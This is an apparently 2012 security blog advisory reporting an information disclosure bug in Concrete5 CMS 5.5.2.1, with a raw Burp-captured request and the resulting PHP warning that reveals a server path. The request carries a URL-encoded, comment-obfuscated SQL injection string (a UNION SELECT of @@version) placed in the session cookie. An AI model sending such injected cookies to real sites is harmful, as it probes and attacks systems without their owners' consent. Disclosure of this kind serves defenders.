Thursday 26 April 2012

[EN] Concrete5.5.2.1 CMS information disclosure bug

[ TITLE ....... ][ Concrete5.5.2.1 CMS information disclosure bug
[ DATE ........ ][ 22.04.2012
[ AUTOHR ...... ][ http://hauntit.blogspot.com
[ SOFT LINK ... ][ http://www.concrete5.org/
[ VERSION ..... ][ 5.5.2.1
[ TESTED ON ... ][ LAMP
[ ----------------------------------------------------------------------- [

[ 1. What is this?
[ 2. What is the type of vulnerability?
[ 3. Where is bug :)
[ 4. More...

[--------------------------------------------[
[ 1. What is this?
This is very nice CMS, You should try it! ;)

[--------------------------------------------[
[ 2. What is the type of vulnerability?
Information disclosure bug.

[--------------------------------------------[
[ 3. Where is bug :)
(...raw cut from Burp...)

GET /concrete5.5.2.1/index.php/search/?search_paths%5B%5D=&query=aaaaaaaaaaaa&submit=Search HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0
(...)
Referer: http://concrete-host/concrete5.5.2.1/index.php/search/
Cookie: CONCRETE5=%2f%2a%2a%2fAND%2f%2a%2a%2f1%3d0%2f%2a%2a%2fUNION%2f%2a%2a%2fALL%2f%2a%2a%2fSELECT%2f%2a%2a%2f@@version,%2f%2a%2a%2f2--; (...)=(...); PHPSESSID=phpsessid
Connection: close

(...end cut...)

Hm :)

So answer is (for vulnerable php.ini of course):
"


<br />
<b>Warning</b>:  session_start() [<a href='function.session-start'>function.session-start</a>]:
The session id is too long or contains illegal characters, valid characters are a-z, A-Z, 0-9 and
'-,' in <b>/www/concrete5.5.2.1/concrete/startup/session.php</b> on line <b>32</b><br />
<!DOCTYPE html>
<html lang="en">
(...)
"

[--------------------------------------------[
[ 4. More...

- http://hauntit.blogspot.com
- http://www.concrete5.org/
- http://www.google.com
- http://portswigger.net
[
[--------------------------------------------[
[ Ask me about new projects @ mail. ;)
]
[ Best regards
[

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